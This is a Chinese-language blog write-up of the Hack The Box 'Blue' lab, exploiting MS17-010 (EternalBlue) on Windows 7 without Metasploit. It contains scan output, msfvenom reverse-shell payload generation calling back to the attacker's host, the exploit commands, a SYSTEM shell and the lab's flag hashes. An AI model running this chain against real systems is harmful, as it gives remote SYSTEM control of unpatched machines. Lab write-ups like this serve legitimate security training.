HTB靶机01-Blue-WriteUp

原创

XavierDarkness 于 2022-04-06 23:58:32 发布 3373 收藏

分类专栏： 安全 靶机 渗透 文章标签： 网络安全 HTB 靶机 OSCP-Like

本文链接：https://blog.csdn.net/XavierDarkness/article/details/124003610

Blue 简介

OS：Windows； 难度：Easy

文章目录

WriteUp

连接HTB靶场：`sudo openvpn xxxx.ovpn`

测试靶机连通性：

```
┌──(xavier㉿xavier)-[~]
└─$ ping -c 4 10.10.10.40
PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.
64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=238 ms
64 bytes from 10.10.10.40: icmp_seq=3 ttl=127 time=237 ms
64 bytes from 10.10.10.40: icmp_seq=4 ttl=127 time=240 ms

--- 10.10.10.40 ping statistics ---
4 packets transmitted, 3 received, 25% packet loss, time 3035ms
rtt min/avg/max/mdev = 237.404/238.524/240.313/1.277 ms
```

有点延迟和丢包，扫描探测结果可能不准确，需要复核。

0.SCAN

masscan 扫描全端口+ nmap 扫描详细端口信息

```
┌──(xavier㉿xavier)-[~]
└─$ sudo masscan -e tun0 -p- --max-rate 500 10.10.10.40
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-03-21 05:48:42 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 49156/tcp on 10.10.10.40
Discovered open port 49152/tcp on 10.10.10.40
Discovered open port 49154/tcp on 10.10.10.40
Discovered open port 49155/tcp on 10.10.10.40
Discovered open port 445/tcp on 10.10.10.40
Discovered open port 49153/tcp on 10.10.10.40
Discovered open port 49157/tcp on 10.10.10.40
Discovered open port 135/tcp on 10.10.10.40
Discovered open port 139/tcp on 10.10.10.40

┌──(xavier㉿xavier)-[~]
└─$ sudo nmap -p135,139,445,49152-49157 -sSV 10.10.10.40 --script=default,vuln
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-21 14:04 HKT
Nmap scan report for 10.10.10.40
Host is up (0.24s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
```

```
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  unknown
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2.1:
|_    Message signing enabled but not required
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_clock-skew: mean: 4m02s, deviation: 6s, median: 3m58s
|_smb-vuln-ms10-054: false
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-03-21T06:09:59+00:00
| smb2-time:
|   date: 2022-03-21T06:09:58
|_  start_date: 2022-03-21T05:42:34
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.51 seconds
```

发现 存在 smb ms17-010（CVE-2017-0143），操作系统为：Windows 7 Professional 7601 Service Pack 1，计算机名: haris-PC

非MSF

1. MS17-010 利用

不用msf去攻击

nmap 只有检测脚本，没有利用脚本，通过网络expdb、Github搜索利用工具。

最后找了这个：https://github.com/3ndG4me/AutoBlue-MS17-010

下载代码，并安装依赖，这里我使用了Pipenv创建了单独的环境。

```
└─$ git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
(HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010/
└─$ pip install -r requirements.txt
```

制作利用代码，可以利用shellcode文件夹下的 shell_prep.sh 辅助生成。

这里直接使用msfvenom进行生成，并加入shellcode混合

```
(HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010/
└─$ nasm -f bin eternalblue_kshellcode_x64.asm -o evilKernel.bin

(HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010/shellcode]
└─$ msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread LHOST=10.10.14.2 LPORT=4444 -f raw -o evilReverse.
bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: evilReverse.bin

(HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010/shellcode]
└─$ cat evilKernel.bin evilReverse.bin > evilPayload.bin
```

依据Github 的Readme 命令帮助，输入目标ip，payload 和Groom连接数，执行利用脚本：

```
python eternalblue_exploit7.py <TARGET-IP> <PATH/TO/SHELLCODE/sc_all.bin> <Number of Groom Connections
(optional)>
```

```
(HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010]
└─$ python3 eternalblue_exploit7.py 10.10.10.40 shellcode/evilPayload.bin 2
shellcode size: 1232
numGroomConn: 2
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done

(HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010]
└─$ python3 eternalblue_exploit7.py 10.10.10.40 shellcode/evilPayload.bin 24
shellcode size: 1232
numGroomConn: 24
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
```

这里 `<Number of Groom Connections (optional)>` 虽然是可选项，但经过多次不成功后，我按照参考文献2进行设置，同样在多次尝试后，成功获得shell，且为System权限。

```
┌──(xavier㉿xavier)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.40] 49159
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>cd C:\Users\haris\Desktop
cd C:\Users\haris\Desktop

C:\Users\haris\Desktop>type user.txt
type user.txt
6349f910cd5b7ddae73521237f8e90c3

C:\Users\haris\Desktop>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
3515d002af86dbfff3ce6f9bbffe7ede
```

利用他人的工具，最后做出来了，但让我意识到对漏洞的一知半解，在攻击过程中会消耗大量的时间，甚至走上弯路。平时需要加强对漏洞的研究，了解漏洞的相关影响因素。

MSF: 略

他山之石

- Hack The Box - Blue (Without Metasploit)
  - 用了superscan
  - 用了其他exp，python2脚本
- Hack The Box - Blue Walkthrough without Metasploit
  - 使用了同一种方法，numGroomConn 需要尝试多次
- WriteUp: HackTheBox Blue
  - 使用了kali自带的searchsploit 去找利用脚本，并进行修改利用